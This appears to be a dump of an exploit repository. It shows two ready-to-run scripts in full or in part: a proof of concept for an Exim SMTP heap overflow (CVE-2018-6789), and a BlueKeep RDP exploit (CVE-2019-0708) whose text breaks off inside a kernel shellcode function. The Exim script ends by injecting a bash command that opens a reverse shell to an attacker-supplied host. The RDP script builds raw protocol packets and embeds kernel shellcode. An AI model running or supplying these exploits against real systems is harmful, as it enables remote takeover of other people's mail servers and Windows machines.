├── CVE-2018-6789.py
├── CVE-2019-0708.py
├── CVE-2020–3387.html
├── CVE-2021-21974.py
├── CVE-2024-33891.py
└── README.md


/CVE-2018-6789.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | import sys
  3 | import time
  4 | import socket
  5 | import struct
  6 | 
  7 | s = None
  8 | f = None
  9 | 
 10 | def logo():
 11 |    print
 12 |    print "      CVE-2018-6789 Poc Exploit"
 13 |    print "@straight_blast ; straight426@gmail.com"
 14 |    print
 15 | 
 16 | 
 17 | def connect(host, port):
 18 |    global s
 19 |    global f
 20 |    s = socket.create_connection((host,port))
 21 |    f = s.makefile('rw', bufsize=0)
 22 | 
 23 | def p(v):
 24 |    return struct.pack("<Q", v)
 25 | 
 26 | def readuntil(delim='\n', debug = False):
 27 |    data = ''
 28 |    while not data.endswith(delim):
 29 |       data += f.read(1)
 30 |       if debug:
 31 |          print data
 32 |    return data
 33 | 
 34 | def write(data):
 35 |    f.write(data + "\n")
 36 | 
 37 | def ehlo(v):
 38 |    write("EHLO " + v)
 39 |    readuntil('HELP')
 40 | 
 41 | def unrec(v):
 42 |    write(v)
 43 |    readuntil('command')
 44 | 
 45 | def auth_plain(v,s = None):
 46 |    encode = v.encode('base64').replace('\n','').replace('=','')
 47 |    if s and len(s) > 0:
 48 |       encode = encode + s
 49 |    write("AUTH PLAIN " + encode)
 50 |    readuntil('data') 
 51 | 
 52 | def one_byte_overwrite():
 53 |    v = "C" * 8200
 54 |    encode = v.encode('base64').replace('\n','').replace('=','')
 55 |    encode = encode[:-1] + "PE"
 56 |    write("AUTH PLAIN " + encode)
 57 |    readuntil('data')
 58 | 
 59 | def exploit(remote_host, remote_port, local_host, local_port):
 60 | 
 61 |    connect(remote_host, remote_port)
 62 | 
 63 |    print "[0] connected to target -> " + remote_host + ":" + str(remote_port)
 64 | 
 65 |    time.sleep(0.5)
 66 |    
 67 |    ehlo("A" * 8000)  
 68 |   
 69 |    ehlo("B" * 16)
 70 | 
 71 |    print "[1] finished grooming heap with 0x6060 block space"
 72 | 
 73 |    unrec("\xff" * 2000)
 74 | 
 75 |    ehlo("D" * 8200)
 76 | 
 77 |    one_byte_overwrite()
 78 | 
 79 |    print "[2] triggerd 1 byte overwrite vulnerability to extend the chunk size from 0x2021 to 0x20f1"
 80 | 
 81 |    fake_header  = p(0) 
 82 |    fake_header += p(0x1f51)
 83 |    auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))
 84 | 
 85 |    print "[3] patched following store block with fake header so extended chunk can be freed"
 86 | 
 87 |    ehlo("F" * 16)
 88 | 
 89 |    print "[4] freed extended store block"
 90 | 
 91 |    unrec("\xff" * 2000) #filler against freed block
 92 |  
 93 |    unrec("\xff" * 2000) #filler against freed block
 94 | 
 95 |    fake_header  = p(0x4110)
 96 |    fake_header += p(0x1f50)   
 97 |    auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))
 98 | 
 99 |    print "[5] patched store block with fake header so extended chunk can be malloced"
100 | 
101 |    #acl_store_block_partial_address = "\x80\xa4\x6e"
102 |    acl_store_block_partial_address = "\xe0\xc8\x6c"
103 |    
104 |    auth_plain("H" * 8200 + p(0x2021) + acl_store_block_partial_address, "X")
105 |   
106 |    print "[6] finished using extend chunk to overwrite the overlapping store block's next pointer to an acl store block address"
107 | 
108 |    ehlo("I" * 16)
109 | 
110 |    print "[7] triggered smtp_reset_3(); with EHLO"
111 | 
112 |    # 288 is for github build
113 |    # 1000 is for debian build
114 |    #acl_smtp_rcpt_offset = 288
115 |    acl_smtp_rcpt_offset = 1000-16
116 | 
117 |    cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_address + "/" + str(local_port) + " 0>&1\""
118 |    cmd_expansion_string = "${run{" + cmd + "}}\0"
119 | 
120 |    auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "\0" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))  
121 | 
122 |    print "[8] malloced acl store block and overwrite the content of acl_smtp_rcpt with shell expression"
123 | 
124 |    write("MAIL FROM:<straightblast426@gmail.com>") ; readuntil()
125 | 
126 |    write("RCPT TO:<j00_g0t@pwned.com>")   
127 | 
128 |    print "[9] triggered RCPT TO which executes shell expression ... enjoy your shell!"
129 | 
130 |    print
131 | 
132 | if __name__ == '__main__':
133 |    logo()
134 |    if len(sys.argv) < 5:
135 |       print "Usage: ./exploit <remote_address> <remote_port> <local_address> <local_port>\n"
136 |       exit()
137 |    remote_address = sys.argv[1]
138 |    remote_port = int(sys.argv[2])
139 |    local_address = sys.argv[3]
140 |    local_port = int(sys.argv[4])
141 |    #print remote_address, remote_port, local_address, local_port
142 |    exploit(remote_address, remote_port, local_address, local_port)
143 | 


--------------------------------------------------------------------------------
/CVE-2019-0708.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | 
  3 | import socket
  4 | from OpenSSL import *
  5 | from struct import pack, unpack
  6 | from sys import argv, exit
  7 | 
  8 | class x224ConnectionRequestPacket:
  9 |     def __init__(self):
 10 |         # total of 8 bytes
 11 |         self.rdpNegReq = pack(
 12 |            '<BBHI',
 13 |            1,                                                       # type (TYPE_RDP_NEG_REQ)  , 1 byte
 14 |            0,                                                       # flags                    , 1 byte (fuzzable)
 15 |            8,                                                       # length                   , 2 bytes
 16 |            1,                                                       # request protocol         , 4 bytes (fuzzable)
 17 |         )
 18 | 
 19 |         # total of 7 bytes, (6 bytes without length indicator)
 20 |         self.x224Crq = pack(
 21 |            '!BBHHB',
 22 |            6 + len(self.rdpNegReq),                                 # length indication      , 1 byte
 23 |                                                                     # 6: length of this header, excluding length byte
 24 |            224,                                                     # CR -> 1110 (E) CDT -> 0000 (0) for class 0 and 1
 25 |            0,                                                       # dest-ref               , 2 bytes  (fuzzable)
 26 |            0,                                                       # src-ref                , 2 bytes  (fuzzable)
 27 |            0,                                                       # class 0
 28 |         )
 29 | 
 30 |         self.cr_tpdu = self.x224Crq + self.rdpNegReq
 31 | 
 32 |         self.tpkt_total_length = len(self.cr_tpdu) + 4
 33 | 
 34 |         self.tpktHeader = pack(
 35 |            '!BBH',
 36 |            3,                                                       # version                  , 1 byte
 37 |            0,                                                       # reserved                 , 1 byte
 38 |            self.tpkt_total_length                                   # len (include the header) , 2 bytes
 39 |         )
 40 | 
 41 |         self.pdu = self.tpktHeader + self.cr_tpdu
 42 | 
 43 | 
 44 | 
 45 | class MCSConnectInitialPacket:
 46 |    def __init__(self, channels):
 47 |     
 48 |       self.channelDefArray = ''
 49 |    
 50 |       for channel in channels:
 51 |           self.channelDefArray += channel.ljust(8, '\x00') + '\x00' * 4
 52 | 
 53 |       self.clientNetworkData  = pack('<HHI',
 54 |               0xc003,                                               # Header Type
 55 |               len(self.channelDefArray) + 4 + 2 + 2,                # Header Length 
 56 |               len(channels)                                         # channelCount
 57 |             )
 58 |       self.clientNetworkData += self.channelDefArray                # channelDefArray
 59 |       
 60 | 
 61 |       # fix - do not touch, or else requires updating header length
 62 |       self.clientSecurityData = pack('<HHII',
 63 |               0xc002,                                               # Header Type
 64 |               12,                                                   # Header Length (2 + 2 + 4 + 4)
 65 |               0x0000001b,                                           # encryption Methods
 66 |               0,                                                    # extEncryption Methods
 67 |             )
 68 |       
 69 | 
 70 |       # fix - do not touch, or else requires updatng header length
 71 |       self.clientCoreData  = pack('<HHHHHHHHII',
 72 |                0xc001,                                              # header type          (2 bytes)
 73 |                0xea,                                                # header length        (2 bytes)
 74 |                0x0a,                                                # version major        (2 bytes)
 75 |                0x08,                                                # version minor        (2 bytes)
 76 |                0x07e8,                                              # desktop Width        (2 bytes)
 77 |                0x05ee,                                              # desktop Height       (2 bytes)
 78 |                0xca01,                                              # color Depth          (2 bytes)
 79 |                0xaa03,                                              # SASSequence          (2 bytes)
 80 |                0x0409,                                              # keyboard Layout      (4 bytes)
 81 |                0x42ee,                                              # client Build         (4 bytes)
 82 |             )
 83 |       self.clientCoreData += 'A\x00'*15 + '\x00'*2                  # clientName           (32 bytes)
 84 |       self.clientCoreData += pack('<III',
 85 |                7,                                                   # keyboard             (4 bytes)
 86 |                0,                                                   # keyboardSubType      (4 bytes)
 87 |                12,                                                  # keyboardFunctionKey  (4 bytes)
 88 |             )
 89 |       self.clientCoreData += '\x00'*64                              # imeFileName          (64 bytes)
 90 |       
 91 |       self.clientCoreData += pack('<HHIHHH',
 92 |                0xca01,                                              # postBeta2ColorDepth  (2 bytes)
 93 |                1,                                                   # clientProductId      (2 bytes)
 94 |                0,                                                   # serialNumber         (4 bytes)
 95 |                0x18,                                                # highColorDepth       (2 bytes)
 96 |                0x0f,                                                # supportColorDepths   (2 bytes)
 97 |                0x07af,                                              # earlyCapabilityFlags (2 bytes)
 98 |             )       
 99 |       self.clientCoreData += '\x00'*64                              # clientDigProductId   (64 bytes)
100 |       self.clientCoreData += pack('<BBI',
101 |                7,                                                   # connectionType         (1 byte) 
102 |                0,                                                   # pad1octet              (1 byte)
103 |                1,                                                   # serverSelectedProtocol (4 byte) - (subject to change)
104 |             )
105 |       
106 |       self.clientCoreData += '\x00' * 18
107 | 
108 | 
109 |       self.rdp_clientData = pack('!H',
110 |               0x814a - 56 - 16 - 12 + len(self.clientNetworkData),
111 |             )
112 | 
113 |       self.rdp_clientData += self.clientCoreData + self.clientSecurityData + self.clientNetworkData
114 | 
115 | 
116 |       self.conferenceCreateRequest = pack('!H',
117 |               0x8158 - 56 - 16 - 12 + len(self.clientNetworkData),
118 |             )
119 | 
120 |       self.conferenceCreateRequest += '\x00'
121 |       self.conferenceCreateRequest += '\x08\x00'                    # conference name
122 |       self.conferenceCreateRequest += '\x10'                        # lockedConference | listedConference | conductibleConference
123 |       self.conferenceCreateRequest += '\x00\x01'                    # terminationMethod
124 |       self.conferenceCreateRequest += '\xc0\x00\x44\x75\x63\x61'    # userData: h221NonStandard (44756361)
125 | 
126 |       self.t124Identifer = '\x00\x05\x00\x14\x7c\x00\x01'           # ASN.1 BER Encoded
127 |       self.connectData = self.t124Identifer + self.conferenceCreateRequest + self.rdp_clientData
128 | 
129 | 
130 |       self.genericConferenceControl = pack('!HH',
131 |               0x0482,
132 |               len(self.connectData),
133 |             ) + self.connectData
134 | 
135 | 
136 |       self.mcs  = '\x7f\x65\x82'                                    # MCS Header
137 |       self.mcs += pack('!H', 
138 |               len(self.genericConferenceControl) + 93)              # MCS length (not including length size + header) 
139 |       self.mcs += '\x04\x01\x01'                                    # calling domain selector - ASN.1 BER octet type
140 |       self.mcs += '\x04\x01\x01'                                    # called domain selector  - ASN.1 BER octet type
141 |       self.mcs += '\x01\x01\xff'                                    # upward flag - ASN.1 BER boolean type
142 |       
143 |       # targetParameters - fix - do not touch or else need to update size
144 |       self.mcs += '\x30\x19'                                        # header | size (0x19)   
145 |       self.mcs += '\x02\x01\x22'                                    # maxChannelIds - ASN.1 BER integer type * var * ?
146 |       self.mcs += '\x02\x01\x02'                                    # maxUserIds - ASN.1 BER integer type
147 |       self.mcs += '\x02\x01\x00'                                    # maxTokenIds - ASN.1 BER integer type
148 |       self.mcs += '\x02\x01\x01'                                    # numPriorities - ASN.1 BER integer type
149 |       self.mcs += '\x02\x01\x00'                                    # minThroughput - ASN.1 BER integer type
150 |       self.mcs += '\x02\x01\x01'                                    # maxHeight     - ASN.1 BER integer type
151 |       self.mcs += '\x02\x02\xff\xff'                                # maxMCSPDUSize - ASN.1 BER integer type
152 |       self.mcs += '\x02\x01\x02'                                    # protocolVersion - ASN.1 BER integer type
153 | 
154 |       # minimumParameters - fix - do not touch or else need to update size
155 |       self.mcs += '\x30\x19'                                        # header | size (0x19)   
156 |       self.mcs += '\x02\x01\x01'                                    # maxChannelIds - ASN.1 BER integer type * var * ?
157 |       self.mcs += '\x02\x01\x01'                                    # maxUserIds - ASN.1 BER integer type
158 |       self.mcs += '\x02\x01\x01'                                    # maxTokenIds - ASN.1 BER integer type
159 |       self.mcs += '\x02\x01\x01'                                    # numPriorities - ASN.1 BER integer type
160 |       self.mcs += '\x02\x01\x00'                                    # minThroughput - ASN.1 BER integer type
161 |       self.mcs += '\x02\x01\x01'                                    # maxHeight     - ASN.1 BER integer type
162 |       self.mcs += '\x02\x02\x04\x20'                                # maxMCSPDUSize - ASN.1 BER integer type
163 |       self.mcs += '\x02\x01\x02'                                    # protocolVersion - ASN.1 BER integer type
164 | 
165 |       # maximumParameters - fix - do not touch or else need to update size
166 |       self.mcs += '\x30\x1c'                                        # header | size (0x1c)   
167 |       self.mcs += '\x02\x02\xff\xff'                                # maxChannelIds - ASN.1 BER integer type * var * ?
168 |       self.mcs += '\x02\x02\xfc\x17'                                # maxUserIds - ASN.1 BER integer type
169 |       self.mcs += '\x02\x02\xff\xff'                                # maxTokenIds - ASN.1 BER integer type
170 |       self.mcs += '\x02\x01\x01'                                    # numPriorities - ASN.1 BER integer type
171 |       self.mcs += '\x02\x01\x00'                                    # maxThroughput - ASN.1 BER integer type
172 |       self.mcs += '\x02\x01\x01'                                    # maxHeight     - ASN.1 BER integer type
173 |       self.mcs += '\x02\x02\xff\xff'                                # maxMCSPDUSize - ASN.1 BER integer type
174 |       self.mcs += '\x02\x01\x02'                                    # protocolVersion - ASN.1 BER integer type
175 | 
176 | 
177 |       self.x224Data = '\x02\xf0\x80'                                # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)
178 |       
179 |       self.mcsci_tpdu = self.x224Data + self.mcs + self.genericConferenceControl
180 |       
181 |       self.tpkt_total_length = len(self.mcsci_tpdu) + 4
182 | 
183 |       self.tpktHeader = pack(
184 |            '!BBH',
185 |            3,                                                       # version                  , 1 byte
186 |            0,                                                       # reserved                 , 1 byte
187 |            self.tpkt_total_length                                   # len (include the header) , 2 bytes
188 |         )
189 | 
190 |       self.pdu  = self.tpktHeader + self.mcsci_tpdu
191 | 
192 | class VirtualChannelPacket:
193 |     def __init__(self, data, initiator, channelId):
194 | 
195 |       self.virtualChannelData = data 
196 | 
197 |       self.channelPduHeader = pack('II', len(self.virtualChannelData), 3)
198 |       
199 |       self.mcsPdu = '\x64' + pack('!H', initiator) + pack('!H', channelId) + '\x70' + pack('!H', 0x8000 + 8 + len(self.virtualChannelData))
200 | 
201 |       self.x224Data = '\x02\xf0\x80'                                # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)
202 | 
203 |       self.vc_pdu = self.x224Data + self.mcsPdu + self.channelPduHeader + self.virtualChannelData
204 | 
205 |       self.tpkt_total_length = len(self.vc_pdu) + 4
206 | 
207 |       self.tpktHeader = pack(
208 |            '!BBH',
209 |            3,                                                       # version                  , 1 byte
210 |            0,                                                       # reserved                 , 1 byte
211 |            self.tpkt_total_length                                   # len (include the header) , 2 bytes
212 |         )
213 | 
214 |       self.pdu  = self.tpktHeader + self.vc_pdu
215 | 
216 | 
217 | def sendX224Request(s):
218 |    cr = x224ConnectionRequestPacket()
219 |    s.sendall(cr.pdu)
220 |    data = s.recv(8000)
221 |    return data
222 | 
223 | def sendMCSGCC(s, channels):
224 |    mcsci = MCSConnectInitialPacket(channels)
225 |    s.sendall(mcsci.pdu)
226 |    data = s.recv(8000)
227 |    return data
228 |   
229 | def sendErectDomainRequest(s):
230 |    s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00')
231 | 
232 | def sendAttachUserRequest(s):
233 |    s.sendall('\x03\x00\x00\x08\x02\xf0\x80\x28')
234 |    data = s.recv(8000)
235 |    return data
236 |    
237 | def sendChannelJoinRequest(s, initiator, channelId):
238 |    s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x38' + pack('!HH', initiator, channelId))
239 |    data = s.recv(8000)
240 |    return data
241 | 
242 | def sendClientInfo(s):
243 |    pdu = '\x03\x00\x01\x4f\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x40\x40\x00\x77\xee\x09\x04\x09\x04\x33\x41\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x20\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x33\x00\x39\x00\x2e\x00\x32\x00\x33\x00\x33\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x44\x00\x4f\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xe0\x01\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00'
244 |    s.sendall(pdu)
245 |    data = s.recv(8000)
246 |    return data
247 | 
248 | def sendConfirmActivePDU(s, initiator, pduSource):
249 |    pdu = '\x03\x00\x02\x04\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x81\xf5\xf5\x01\x13\x00' +  pack('H', pduSource) + '\xea\x03\x01\x00\xea\x03\x06\x00\xdf\x01\x4d\x53\x54\x53\x43\x00\x16\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x9a\x07\xb4\x05\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00'
250 |    s.sendall(pdu)
251 | 
252 | def sendRdpPduType_Synchronize(s, initiator, pduSource):
253 |    pdu = '\x03\x00\x00\x25\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x16\x16\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03'
254 |    s.sendall(pdu)
255 |    data = s.recv(8000)
256 |    return data
257 | 
258 | def sendRdpPduType_Control_Action_Cooperate(s, initiator, pduSource):
259 |    pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00'
260 |    s.sendall(pdu)
261 |    data = s.recv(8000)
262 |    return data
263 | 
264 | def sendRdpPduType_Control_Action_RequestControl(s, initiator, pduSource):
265 |    pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
266 |    s.sendall(pdu)
267 |    data = s.recv(8000)
268 |    return data
269 | 
270 | def sendRdpPduType_FontList(s, initiator, pduSource):
271 |    pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00'
272 |    s.sendall(pdu)
273 |    data = s.recv(8000)
274 |    return data
275 | 
276 | def sendToVirtualChannel(s, data, initiator, channelId):
277 |    vc = VirtualChannelPacket(data, initiator, channelId)
278 |    s.sendall(vc.pdu)
279 | 
280 | def readFromVirtualChannel(s):
281 |    while 1:
282 |        data = tls.recv(8000)
283 |        if '\x03\x00\x00\x22\x02\xf0\x80' in data or '\x03\x00\x00\x6a\x02\xf0\x80' in data:
284 |           # got data that comes from virtual channel
285 |           return data
286 |        else:
287 |           # junk data 
288 |           pass
289 | 
290 | def makeKernelShellcode():
291 |     # Reference: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501 
292 |     # spoolsv.exe
293 |     kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xd8\x83\xe0\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
294 |     
295 |     # explorer.exe
